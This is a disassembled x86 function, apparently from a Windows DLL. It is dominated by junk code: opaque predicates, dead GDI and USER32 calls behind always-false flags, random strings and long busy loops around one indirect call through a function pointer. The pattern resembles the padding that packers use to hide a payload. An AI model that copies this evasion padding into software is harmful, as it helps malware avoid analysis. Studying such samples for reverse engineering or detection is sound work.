cmp dword [ebp - 0x70c], eax
jle 0x100159b5
mov dword [ebp - 0x714], 1
jmp 0x100159bc
and dword [ebp - 0x714], 0
mov eax, dword [ebp - 0xa78]
cmp dword [ebp - 0x714], eax
jle 0x100159d6
mov dword [ebp - 0xbfc], 1
jmp 0x100159dd
and dword [ebp - 0xbfc], 0
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0xcf4], eax
mov eax, dword [ebp - 0x71c]
mov dword [ebp - 0xd40], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xc2c]
mov dword [ebp - 0xa80], eax
jmp 0x100156b1
jmp 0x10015334
mov dword [ebp - 0xf4], 0xfffffffc
jmp 0x10015a2b
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0x21
jg 0x10015aa6
mov dword [ebp - 0xb64], 0
mov byte [ebp - 0xff], 0
movzx eax, byte [ebp - 0xff]
test eax, eax
je 0x10015a64
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_DeleteDC]
mov dword [ebp - 0x128], 1
cmp dword [ebp - 0x128], 0
jne 0x10015a83
mov dword [ebp - 0x724], 1
jmp 0x10015a8a
and dword [ebp - 0x724], 0
mov dword [ebp - 0x74], 1
mov eax, dword [ebp - 0x74]
imul eax, dword [ebp - 0x724]
mov dword [ebp - 0xb64], eax
jmp 0x10015a1e
mov eax, dword [ebp + 8]
mov dword [ebp - 0xb6c], eax
mov dword [ebp - 0x78], 0
jmp 0x10015abf
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 2
jge 0x10015ad5
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0xd20], 0x5540d7f8
jmp 0x10015ab8
mov dword [ebp - 0x78], 0
jmp 0x10015ae5
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 2
jge 0x10015afb
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0x8e8], 0xfe7d8a87
jmp 0x10015ade
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x8e8], 0
jmp 0x10015b29
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8e8]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x8e8], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x8e8], 2
jge 0x10015b53
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8e8]
mov dword [ebp + eax*4 - 0xd20], 0xd05ba772
jmp 0x10015b0e
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x9e4], eax
mov dword [ebp - 0x6c], 0x69fdf99f
mov dword [ebp - 0x754], 0x4f943af7
mov dword [ebp - 0xa94], 0x403e
mov dword [ebp - 0xc6c], 0x10b5c7b1
mov dword [ebp - 0xc68], 0x10b5c7b1
mov dword [ebp - 0xc64], 0x10b5c7b1
mov dword [ebp - 0xc60], 0x10b5c7b1
mov dword [ebp - 0x244], 0
jmp 0x10015bb8
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 3
jge 0x10015bd4
mov eax, dword [ebp - 0x244]
mov dword [ebp + eax*4 - 0xbd0], 0xd795
jmp 0x10015bab
mov dword [ebp - 0x6c], 0xfffffff8
jmp 0x10015be4
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0xa
jge 0x10015f42
mov dword [ebp - 0x3e0], 0xffffffff
mov dword [ebp - 0x3dc], 0xffffffff
mov dword [ebp - 0x3d8], 0xffffffff
mov dword [ebp - 0x3d4], 0xffffffff
mov dword [ebp - 0x734], 0xbdb88dcf
mov dword [ebp - 0xa88], 0xffff
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x3e0], 2
jmp 0x10015c58
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3e0]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x3e0], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x3e0], 0
jl 0x10015d1c
mov dword [ebp - 0xac], 0x9cf1813f
mov dword [ebp - 0xac], 2
jmp 0x10015c8f
mov eax, dword [ebp - 0xac]
dec eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0
jl 0x10015cb3
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3e0]
cmp dword [ebp + eax*4 - 0xbd0], 0
je 0x10015cb1
jmp 0x10015cb3
jmp 0x10015c82
mov dword [ebp - 0xac], 0
jmp 0x10015ccc
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 2
jg 0x10015d17
mov byte [ebp - 0xf6], 0
movzx eax, byte [ebp - 0xf6]
test eax, eax
je 0x10015d15
push 0
push 0x23fe
push 0
push 0
push 0x21fa
push 0x2065
push 0x2539
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtTextOutA]
jmp 0x10015cbf
jmp 0x10015c3d
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x3e0], 1
jg 0x10015d35
cmp dword [ebp - 0xa88], 0
jne 0x10015d4e
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xbd0], 0
jne 0x10015d4e
and dword [ebp - 0x72c], 0
jmp 0x10015d58
mov dword [ebp - 0x72c], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3e0]
cmp dword [ebp - 0x72c], eax
jne 0x10015d86
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x3e0], 0
jne 0x10015d86
and dword [ebp - 0x73c], 0
jmp 0x10015d90
mov dword [ebp - 0x73c], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3e0]
mov dword [ebp - 0x734], eax
mov eax, dword [ebp - 0x734]
imul eax, dword [ebp - 0x73c]
push 4
pop ecx
shl ecx, 0
cmp dword [ebp + ecx - 0x3e0], eax
jle 0x10015dcb
mov dword [ebp - 0x744], 1
jmp 0x10015dd2
and dword [ebp - 0x744], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xbd0]
cmp dword [ebp - 0x744], eax
jne 0x10015df3
mov dword [ebp - 0x74c], 1
jmp 0x10015dfa
and dword [ebp - 0x74c], 0
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0x74c], eax
jge 0x10015e11
mov dword [ebp - 0x75c], 1
jmp 0x10015e18
and dword [ebp - 0x75c], 0
mov dword [ebp - 0x754], 0x2de4bf74
mov eax, dword [ebp - 0x754]
cmp eax, dword [ebp - 0x75c]
jle 0x10015e42
cmp dword [ebp - 0x6c], 0
je 0x10015e42
mov dword [ebp - 0xbb4], 1
jmp 0x10015e49
and dword [ebp - 0xbb4], 0
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0xd00], eax
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0xd48], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3e0]
mov dword [ebp - 0xd0c], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x6c]
imul ecx, dword [ebp + eax - 0xbd0]
cmp ecx, dword [ebp - 0x6c]
jle 0x10015e90
mov dword [ebp - 0x764], 1
jmp 0x10015e97
and dword [ebp - 0x764], 0
cmp dword [ebp - 0x764], 0xb5dfeb07
jb 0x10015eaf
mov dword [ebp - 0x76c], 1
jmp 0x10015eb6
and dword [ebp - 0x76c], 0
cmp dword [ebp - 0x76c], 0x1b19
jg 0x10015ece
mov dword [ebp - 0x774], 1
jmp 0x10015ed5
and dword [ebp - 0x774], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xbd0]
cmp dword [ebp - 0x774], eax
jl 0x10015ef5
mov dword [ebp - 0x77c], 1
jmp 0x10015efc
and dword [ebp - 0x77c], 0
mov eax, dword [ebp - 0xa94]
cmp dword [ebp - 0x77c], eax
jne 0x10015f16
mov dword [ebp - 0x784], 1
jmp 0x10015f1d
and dword [ebp - 0x784], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3e0]
add eax, dword [ebp - 0x784]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xc6c], eax
jmp 0x10015bdd
mov eax, dword [ebp - 0xb6c]
mov dword [ebp - 0xa1c], eax
mov dword [ebp - 0x950], 0xc6e5c7a0
mov dword [ebp - 0x94c], 0xc6e5c7a0
mov dword [ebp - 0x948], 0xc6e5c7a0
mov dword [ebp - 0x944], 0xc6e5c7a0
mov dword [ebp - 0x30], 0x87d0fa51
mov dword [ebp - 0x27c], 2
mov dword [ebp - 0xd50], 1
mov dword [ebp - 0x9b4], 0xb5d2300b
mov dword [ebp - 0x368], 0xffffffff
mov dword [ebp - 0x24c], 0
jmp 0x10015fbe
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 1
jge 0x10015fda
mov eax, dword [ebp - 0x24c]
mov dword [ebp + eax*4 - 0x274], 0xc629c4dd
jmp 0x10015fb1
mov byte [ebp - 0xf8], 0
movzx eax, byte [ebp - 0xf8]
test eax, eax
je 0x1001611a
mov dword [ebp - 0x78c], 0x99c
mov dword [ebp - 0xaa0], str.dpa_xwlfny_iuvufleuk_zil_nktcy_rfbcp_bnpmhe_xitjnmpl_fsiupdvf_vmwt_coniv_mrax_ghhdexmta_ecqqifqgs
cmp dword [ebp - 0x78c], 0xd2f
jle 0x100160cb
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
and dword [ebp - 0x264], 0
jmp 0x10016039
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 0x7f28
jge 0x100160cb
and dword [ebp - 0x254], 0
jmp 0x1001605f
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0x710d
jge 0x100160c6
and dword [ebp - 0x25c], 0
jmp 0x10016081
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0x2c72
jge 0x100160c4
mov eax, dword [ebp - 0x254]
and eax, dword [ebp - 0x25c]
xor eax, dword [ebp - 0x264]
cdq
mov dword [ebp - 0xb38], eax
mov dword [ebp - 0xb34], edx
push dword [ebp - 0xb34]
push dword [ebp - 0xb38]
mov ecx, 0x10073e38
call fcn.10001ae9
jmp 0x10016074
jmp 0x10016052
jmp 0x1001602c
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 4], 0x1e
cmp dword [ebp - 0x78c], 0x868
jge 0x100160f4
mov edx, dword [ebp - 0xaa0]
mov ecx, 0x10073e38
call fcn.100034b8
jmp 0x10016110
or dword [ebp - 4], 0xffffffff
jmp 0x1001611a
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x950], 5
push 5
pop eax
test eax, eax
jne 0x100161f2
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x950]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jne 0x100161e6
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x950], 0
jne 0x100161d6
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x950], 0
je 0x10016183
mov eax, 0x9cd4
test eax, eax
je 0x10016183
mov dword [ebp - 0x794], 1
jmp 0x1001618a
and dword [ebp - 0x794], 0
cmp dword [ebp - 0x794], 0x75cb5542
jne 0x100161a8
cmp dword [ebp - 0x30], 0
je 0x100161a8
mov dword [ebp - 0xbe4], 1
jmp 0x100161af
and dword [ebp - 0xbe4], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xd18], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x950]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jne 0x100161d6
and dword [ebp - 0xaac], 0
jmp 0x100161e0
mov dword [ebp - 0xaac], 1
cmp dword [ebp - 0x30], 0
je 0x100161f2
mov dword [ebp - 0x79c], 1
jmp 0x100161f9
and dword [ebp - 0x79c], 0
push 4
pop eax
imul eax, eax, 0
imul ecx, dword [ebp - 0x79c], 0x3cf8
add ecx, dword [ebp + eax - 0x274]
je 0x10016238
mov byte [ebp - 0xfa], 0
movzx eax, byte [ebp - 0xfa]
test eax, eax
je 0x10016233
push 0
push 0xd13
push 0
call dword [sym.imp.GDI32.dll_GetObjectW]
jmp 0x10016633
mov dword [ebp - 0x984], 0
mov dword [ebp - 0x7b4], 0xffffffff
mov dword [ebp - 0x9dc], 0
mov dword [ebp - 0x814], 9
mov dword [ebp - 0x9ac], 4
mov dword [ebp - 0x284], 0xffffffff
mov dword [ebp - 0x7fc], 0xffffffff
mov dword [ebp - 0x9bc], 0xca44bab9
mov dword [ebp - 0x9c4], 0x138d7efb
mov dword [ebp - 0x9cc], 0xfffffff9
mov dword [ebp - 0x9d4], 0
mov dword [ebp - 0x30], 0x1a
jmp 0x100162b6
mov eax, dword [ebp - 0x30]
dec eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xe
jle 0x100164fb
mov dword [ebp - 0x994], 0x89aa5088
mov dword [ebp - 0xd58], 7
mov dword [ebp - 0xd24], 0xffffffff
mov dword [ebp - 0x98c], 0x99e98c53
mov dword [ebp - 0x26c], 0
jmp 0x10016301
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 1
jge 0x1001631d
mov eax, dword [ebp - 0x26c]
mov dword [ebp + eax*4 - 0x7ec], 0x8cbf698b
jmp 0x100162f4
mov eax, dword [ebp - 0x27c]
mov dword [ebp - 0xd60], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7ec], 9
jbe 0x10016345
mov dword [ebp - 0x7a4], 1
jmp 0x1001634c
and dword [ebp - 0x7a4], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x7a4]
sub ecx, dword [ebp - 0x284]
sub ecx, dword [ebp + eax - 0x950]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x274]
add eax, ecx
cmp eax, dword [ebp - 0x7fc]
jge 0x10016387
mov dword [ebp - 0x7ac], 1
jmp 0x1001638e
and dword [ebp - 0x7ac], 0
cmp dword [ebp - 0x7ac], 6
jb 0x100163a3
mov dword [ebp - 0x7bc], 1
jmp 0x100163aa
and dword [ebp - 0x7bc], 0
mov eax, dword [ebp - 0x984]
mov dword [ebp - 0x7b4], eax
mov eax, dword [ebp - 0x7b4]
cmp eax, dword [ebp - 0x7bc]
jle 0x100163d0
mov dword [ebp - 0x7c4], 1
jmp 0x100163d7
and dword [ebp - 0x7c4], 0
mov eax, dword [ebp - 0x98c]
cmp dword [ebp - 0x7c4], eax
jg 0x100163f1
mov dword [ebp - 0x7cc], 1
jmp 0x100163f8
and dword [ebp - 0x7cc], 0
mov eax, dword [ebp - 0x368]
cmp dword [ebp - 0x7cc], eax
jne 0x10016412
mov dword [ebp - 0x7d4], 1
jmp 0x10016419
and dword [ebp - 0x7d4], 0
mov eax, dword [ebp - 0x7d4]
neg eax
cmp dword [ebp - 0x994], eax
je 0x10016435
mov dword [ebp - 0x99c], 1
jmp 0x1001643c
and dword [ebp - 0x99c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x274]
mov dword [ebp - 0xd68], eax
or eax, 0xffffffff
jne 0x10016464
push 0xfffffffffffffff7
pop eax
test eax, eax
jne 0x10016464
and dword [ebp - 0x7dc], 0
jmp 0x1001646e
mov dword [ebp - 0x7dc], 1
mov eax, dword [ebp - 0x284]
cmp dword [ebp - 0x7dc], eax
je 0x10016488
mov dword [ebp - 0x7e4], 1
jmp 0x1001648f
and dword [ebp - 0x7e4], 0
mov eax, dword [ebp - 0x27c]
cmp dword [ebp - 0x7e4], eax
jne 0x100164a9
mov dword [ebp - 0x9a4], 1
jmp 0x100164b0
and dword [ebp - 0x9a4], 0
mov eax, dword [ebp - 0x9ac]
mov dword [ebp - 0xe14], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0x950]
cmp ecx, dword [ebp + eax - 0x7ec]
je 0x100164e3
mov dword [ebp - 0x7f4], 1
jmp 0x100164ea
and dword [ebp - 0x7f4], 0
mov eax, dword [ebp - 0x7f4]
mov dword [ebp - 0x7fc], eax
jmp 0x100162af
cmp dword [ebp - 0x9b4], 0
jne 0x10016510
mov dword [ebp - 0x364], 1
jmp 0x10016517
and dword [ebp - 0x364], 0
mov eax, 0x71ce904c
test eax, eax
je 0x10016529
cmp dword [ebp - 0x814], 0
jne 0x10016530
cmp dword [ebp - 0x9bc], 0
cmp dword [ebp - 0x368], 0x546e
jl 0x10016548
mov dword [ebp - 0x804], 1
jmp 0x1001654f
and dword [ebp - 0x804], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x364]
mov dword [ebp + eax - 0x274], ecx
mov eax, dword [ebp - 0x804]
mov dword [ebp - 0x27c], eax
imul eax, dword [ebp - 0x27c], 0xb85a
cmp dword [ebp - 0x364], eax
jle 0x1001658c
mov dword [ebp - 0x80c], 1
jmp 0x10016593
and dword [ebp - 0x80c], 0
mov eax, dword [ebp - 0x9c4]
cmp eax, dword [ebp - 0x80c]
jl 0x100165b6
cmp dword [ebp - 0x368], 0
je 0x100165b6
mov dword [ebp - 0x81c], 1
jmp 0x100165bd
and dword [ebp - 0x81c], 0
mov eax, dword [ebp - 0x814]
mov dword [ebp - 0x284], eax
mov eax, dword [ebp - 0x284]
cmp eax, dword [ebp - 0x81c]
je 0x100165e3
mov dword [ebp - 0x824], 1
jmp 0x100165ea
and dword [ebp - 0x824], 0
mov eax, dword [ebp - 0x9cc]
cmp dword [ebp - 0x824], eax
jge 0x10016604
mov dword [ebp - 0x82c], 1
jmp 0x1001660b
and dword [ebp - 0x82c], 0
mov eax, dword [ebp - 0x82c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xd34], eax
mov eax, dword [ebp - 0x9d4]
mov dword [ebp - 0xddc], eax
mov dword [ebp - 0x9dc], 0xa325a448
mov eax, dword [ebp - 0x9e4]
mov dword [ebp - 0xa14], eax
mov dword [ebp - 0x60], 0x83111738
mov dword [ebp - 0x148], 5
mov dword [ebp - 0xd3c], 0xf9e84ebf
mov dword [ebp - 0x834], 0x1cfd
mov dword [ebp - 0x9ec], str.muwxvyxlt_dlzyjox_rpkmicpt
cmp dword [ebp - 0x834], 0x1e96
jle 0x1001670c
push 0x16f5
push 0x149a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckDlgButton]
and dword [ebp - 0x28c], 0
jmp 0x100166ab
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 0x793f
jge 0x1001670c
and dword [ebp - 0x294], 0
jmp 0x100166cd
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 0x1ae8
jge 0x1001670a
mov eax, dword [ebp - 0x28c]
xor eax, dword [ebp - 0x294]
cdq
mov dword [ebp - 0xb44], eax
mov dword [ebp - 0xb40], edx
push dword [ebp - 0xb40]
push dword [ebp - 0xb44]
mov ecx, 0x10073e38
call fcn.10001ae9
jmp 0x100166c0
jmp 0x1001669e
mov dword [ebp - 0x84], 0
jmp 0x10016725
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 2
jge 0x10016741
mov eax, dword [ebp - 0x84]
mov dword [ebp + eax*4 - 0x3fc], 0xffffffff
jmp 0x10016718
mov dword [ebp - 4], 0x20
cmp dword [ebp - 0x834], 0x1c77
jge 0x10016764
mov edx, dword [ebp - 0x9ec]
mov ecx, 0x10073e38
call fcn.100034b8
jmp 0x10016780
or dword [ebp - 4], 0xffffffff
jmp 0x1001678a
mov dword [ebp - 0x84], 0
jmp 0x100167a3
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 4
jge 0x100167bf
mov eax, dword [ebp - 0x84]
mov dword [ebp + eax*4 - 0xf0c], 0x33db9622
jmp 0x10016796
mov dword [ebp - 0x83c], 0x26ae
mov dword [ebp - 0x9fc], str.zmg_ncbzfgo_ghjdnpoy
cmp dword [ebp - 0x83c], 0x2a0f
jle 0x100168ba
and dword [ebp - 0x29c], 0
jmp 0x100167f9
mov eax, dword [ebp - 0x29c]
inc eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 0xa80
jge 0x100168ba
and dword [ebp - 0x2a4], 0
jmp 0x1001681f
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0x4f0c
jge 0x100168b5
and dword [ebp - 0x2ac], 0
jmp 0x10016845
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 0x6bdd
jge 0x100168b0
mov eax, dword [ebp - 0x29c]
imul eax, dword [ebp - 0x2a4]
imul eax, dword [ebp - 0x2ac]
cdq
mov dword [ebp - 0xb50], eax
mov dword [ebp - 0xb4c], edx
push dword [ebp - 0xb4c]
push dword [ebp - 0xb50]
lea ecx, [ebp - 0xf74]
call fcn.10001a21
pop ecx
pop ecx
mov dword [ebp - 0x9f4], eax
mov ecx, dword [ebp - 0x9f4]
call fcn.10001ac9
push eax
call fcn.10041a06
pop ecx
lea ecx, [ebp - 0xf74]
call fcn.10001abf
jmp 0x10016838
jmp 0x10016812
jmp 0x100167ec
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0xe34], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x148], eax
mov dword [ebp - 4], 0x22
cmp dword [ebp - 0x83c], 0x25ea
jge 0x100168eb
push dword [ebp - 0x9fc]
call fcn.10041a06
pop ecx
jmp 0x10016907
or dword [ebp - 4], 0xffffffff
jmp 0x10016911
mov eax, dword [ebp - 0x60]
cmp eax, dword [ebp - 0x60]
jne 0x10016925
mov dword [ebp - 0x428], 1
jmp 0x1001692c
and dword [ebp - 0x428], 0
or eax, 0xffffffff
je 0x1001698f
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0xd44], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3fc]
mov dword [ebp - 0xde4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3fc]
mov dword [ebp - 0xd4c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3fc], 0
je 0x1001698f
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3fc], 0
je 0x1001698f
mov dword [ebp - 0x404], 1
jmp 0x10016996
and dword [ebp - 0x404], 0
push 4
pop eax
imul eax, eax, 0
imul ecx, dword [ebp - 0x404], 0
add ecx, dword [ebp + eax - 0x3fc]
jne 0x100169be
mov eax, 0x3046
test eax, eax
jne 0x100169be
and dword [ebp - 0x408], 0
jmp 0x100169c8
mov dword [ebp - 0x408], 1
cmp dword [ebp - 0x408], 0x54f
jg 0x100169e9
cmp dword [ebp - 0x148], 0
je 0x100169e9
mov dword [ebp - 0x410], 1
jmp 0x100169f0
and dword [ebp - 0x410], 0
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x410], eax
jle 0x10016a07
mov dword [ebp - 0xa04], 1
jmp 0x10016a0e
and dword [ebp - 0xa04], 0
mov eax, 0xe3b00b72
test eax, eax
jne 0x10016a26
cmp dword [ebp - 0x60], 0
jne 0x10016a26
and dword [ebp - 0xa0c], 0
jmp 0x10016a30
mov dword [ebp - 0xa0c], 1
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0xe1c], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0xd54], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0xdec], eax
mov eax, dword [ebp - 0x60]
cmp eax, dword [ebp - 0x148]
jge 0x10016a62
mov dword [ebp - 0x418], 1
jmp 0x10016a69
and dword [ebp - 0x418], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3fc]
cmp dword [ebp - 0x418], eax
jge 0x10016a8a
mov dword [ebp - 0x420], 1
jmp 0x10016a91
and dword [ebp - 0x420], 0
mov eax, dword [ebp - 0x148]
cmp dword [ebp - 0x420], eax
jg 0x10016aab
mov dword [ebp - 0x430], 1
jmp 0x10016ab2
and dword [ebp - 0x430], 0
mov eax, dword [ebp - 0x428]
cmp eax, dword [ebp - 0x430]
je 0x10016acc
mov dword [ebp - 0x438], 1
jmp 0x10016ad3
and dword [ebp - 0x438], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x438]
mov dword [ebp + eax - 0xf0c], ecx
push dword [ebp - 0xa14]
push dword [ebp - 0xa1c]
call dword [0x10074f88]
mov dword [ebp - 0xa2c], eax
mov dword [ebp - 0x44], 0x833fcb50
mov dword [ebp - 0x370], 0x191b4956
mov dword [ebp - 0xd5c], 0x1f1e283d
mov dword [ebp - 0x2b4], 0
jmp 0x10016b32
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 2
jge 0x10016b4e
mov eax, dword [ebp - 0x2b4]
mov dword [ebp + eax*4 - 0x3b8], 0xfffa
jmp 0x10016b25
mov dword [ebp - 0x44], 1
jmp 0x10016b5e
mov eax, dword [ebp - 0x44]
dec eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
jl 0x10016ce9
mov dword [ebp - 0x378], 0xffffffff
mov dword [ebp - 0x2bc], 0
jmp 0x10016b8b
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 3
jge 0x10016ba7
mov eax, dword [ebp - 0x2bc]
mov dword [ebp + eax*4 - 0xebc], 0xc11e043
jmp 0x10016b7e
mov eax, 0xfffb
test eax, eax
je 0x10016bc9
mov eax, dword [ebp - 0x44]
cmp dword [ebp + eax*4 - 0x3b8], 0
je 0x10016bc9
mov dword [ebp - 0x440], 1
jmp 0x10016bd0
and dword [ebp - 0x440], 0
cmp dword [ebp - 0x440], 0
ja 0x10016be5
mov dword [ebp - 0x458], 1
jmp 0x10016bec
and dword [ebp - 0x458], 0
imul eax, dword [ebp - 0x44], 0xb051
test eax, eax
jne 0x10016c02
mov eax, dword [ebp - 0x44]
cmp dword [ebp + eax*4 - 0x3b8], 0
or eax, 0xffffffff
jb 0x10016c13
mov dword [ebp - 0x448], 1
jmp 0x10016c1a
and dword [ebp - 0x448], 0
mov eax, dword [ebp - 0x448]
mov dword [ebp - 0x370], eax
cmp dword [ebp - 0x370], 0
je 0x10016c44
cmp dword [ebp - 0x370], 0
je 0x10016c44
mov dword [ebp - 0x450], 1
jmp 0x10016c4b
and dword [ebp - 0x450], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3b8]
cmp dword [ebp - 0x450], eax
jne 0x10016c6c
mov dword [ebp - 0xa24], 1
jmp 0x10016c73
and dword [ebp - 0xa24], 0
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0x3b8]
mov dword [ebp - 0xe44], eax
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp + ecx*4 - 0x3b8]
sub ecx, dword [ebp + eax*4 - 0x3b8]
mov dword [ebp - 0x378], ecx
mov eax, dword [ebp - 0x378]
cmp dword [ebp - 0x458], eax
jl 0x10016cbd
cmp dword [ebp - 0x378], 0
jne 0x10016cbd
and dword [ebp - 0x460], 0
jmp 0x10016cc7
mov dword [ebp - 0x460], 1
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0x3b8]
sub eax, dword [ebp - 0x460]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xebc], eax
jmp 0x10016b57
mov byte [ebp - 0xfc], 0
movzx eax, byte [ebp - 0xfc]
test eax, eax
je 0x10016d05
push 0
push 0
call dword [sym.imp.GDI32.dll_GetRgnBox]
mov eax, dword [ebp - 0xa2c]
jmp 0x10016d7f
mov dword [ebp - 0x2c4], 0xe1757117
mov dword [ebp - 0xa34], 0xffffffff
mov dword [ebp - 0x2c4], 0
jmp 0x10016d3a
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 0x10
jle 0x10016d7d
mov byte [ebp - 0x107], 0
movzx eax, byte [ebp - 0x107]
test eax, eax
je 0x10016d70
push 0x1b86
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polyline]
cmp dword [ebp - 0xa34], 0
je 0x10016d7b
jmp 0x10016d7d
jmp 0x10016d2d
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret